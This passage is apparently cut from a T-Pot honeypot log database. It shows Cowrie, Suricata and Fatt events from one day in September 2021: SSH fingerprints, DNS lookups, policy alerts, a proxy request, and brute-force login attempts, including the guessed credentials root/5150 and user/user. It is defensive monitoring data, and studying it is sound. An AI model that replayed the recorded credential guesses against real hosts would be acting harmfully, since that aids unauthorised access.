"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 61708, "dest_port": 22, "timestamp": "2021-09-20T11:45:17.945990", "@timestamp": "2021-09-20T11:45:17.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31467	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:45:18.235734+03	2021-09-20 15:00:02.199717+03	{"_id": "TgYGA3wBvYTbRNuEU0T0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 69.195.128.18:80 from 0.0.0.0:0", "session": "a2b076b7fecc", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:45:18.235734Z", "@timestamp": "2021-09-20T11:45:18.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
31468	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:45:17.885945+03	2021-09-20 15:00:02.201717+03	{"_id": "TwYGA3wBvYTbRNuEU0T0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "a2b076b7fecc", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:45:17.885945Z", "@timestamp": "2021-09-20T11:45:17.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
31470	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:45:09.417763+03	2021-09-20 15:00:02.204717+03	{"_id": "NQYGA3wBvYTbRNuEMkRu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 18502, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 882819593494499, "@version": "1", "in_iface": "enp5s0", "src_port": 45439, "dest_port": 53, "timestamp": "2021-09-20T11:45:09.417763Z", "@timestamp": "2021-09-20T11:45:09.417Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31471	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:45:09.971554+03	2021-09-20 15:00:02.205717+03	{"_id": "NgYGA3wBvYTbRNuEMkRv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64649, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3565, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 843207110151522, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40976, "timestamp": "2021-09-20T11:45:09.971554Z", "@timestamp": "2021-09-20T11:45:09.971Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31472	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:45:10.042098+03	2021-09-20 15:00:02.206717+03	{"_id": "OQYGA3wBvYTbRNuEM0Rx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35618, "dest_port": 443, "timestamp": "2021-09-20T11:45:10.042098", "@timestamp": "2021-09-20T11:45:10.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31473	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:45:07.16876+03	2021-09-20 15:00:02.207717+03	{"_id": "KgYGA3wBvYTbRNuEKET2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/5150] failed", "session": "f2f4066816eb", "@version": "1", "password": "5150", "username": "root", "timestamp": "2021-09-20T11:45:07.168760Z", "@timestamp": "2021-09-20T11:45:07.168Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31474	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:45:08.435085+03	2021-09-20 15:00:02.209716+03	{"_id": "LAYGA3wBvYTbRNuELETe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/5188] failed", "session": "f2f4066816eb", "@version": "1", "password": "5188", "username": "root", "timestamp": "2021-09-20T11:45:08.435085Z", "@timestamp": "2021-09-20T11:45:08.435Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31475	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:45:09.508343+03	2021-09-20 15:00:02.210716+03	{"_id": "OAYGA3wBvYTbRNuEM0Rx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35616, "timestamp": "2021-09-20T11:45:09.508343", "@timestamp": "2021-09-20T11:45:09.508Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31476	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:45:17.882866+03	2021-09-20 15:00:02.211717+03	{"_id": "UgYGA3wBvYTbRNuEU0T1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:61708 (192.168.176.2:22) [session: a2b076b7fecc]", "session": "a2b076b7fecc", "@version": "1", "protocol": "ssh", "src_port": 61708, "dest_port": 22, "timestamp": "2021-09-20T11:45:17.882866Z", "@timestamp": "2021-09-20T11:45:17.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
31477	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:45:18.16966+03	2021-09-20 15:00:02.212717+03	{"_id": "UwYGA3wBvYTbRNuEU0T1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "a2b076b7fecc", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:45:18.169660Z", "@timestamp": "2021-09-20T11:45:18.169Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
31478	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:45:37.961463+03	2021-09-20 15:00:02.214717+03	{"_id": "fwYGA3wBvYTbRNuEokQe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6371df155e3f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:45:37.961463Z", "@timestamp": "2021-09-20T11:45:37.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31479	203.176.71.44	109.199.241.180	Suricata	2021-09-20 14:45:38.301957+03	2021-09-20 15:00:02.215716+03	{"_id": "gAYGA3wBvYTbRNuEo0TE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "flow_id": 271922774424850, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51038, "dest_port": 22, "timestamp": "2021-09-20T11:45:38.301957Z", "@timestamp": "2021-09-20T11:45:38.301Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31480	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:45:39.311132+03	2021-09-20 15:00:02.216717+03	{"_id": "gQYGA3wBvYTbRNuEpkQH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6371df155e3f", "@version": "1", "timestamp": "2021-09-20T11:45:39.311132Z", "@timestamp": "2021-09-20T11:45:39.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31481	203.176.71.44	109.199.241.180	Suricata	2021-09-20 14:45:39.310433+03	2021-09-20 15:00:02.217718+03	{"_id": "ggYGA3wBvYTbRNuEp0St", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:45:36.605458+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 895, "bytes_toserver": 1270}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 271922774424850, "payload": "AAADzAYUSR9jOXsD1mEDMDoyTdQmWQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51038, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:45:39.310433Z", "@timestamp": "2021-09-20T11:45:39.310Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......I.c9{..a.0:2M.&Y...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31482	203.176.71.44	109.199.241.180	Fatt	2021-09-20 14:45:39.310433+03	2021-09-20 15:00:02.219716+03	{"_id": "gwYGA3wBvYTbRNuEqESo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51038, "dest_port": 22, "timestamp": "2021-09-20T11:45:39.310433", "@timestamp": "2021-09-20T11:45:39.310Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31483	5.188.62.219	109.199.241.180	Suricata	2021-09-20 14:45:31.02839+03	2021-09-20 15:00:02.220717+03	{"_id": "WQYGA3wBvYTbRNuEhESD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:45:30.909228+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1436554695991212, "payload": 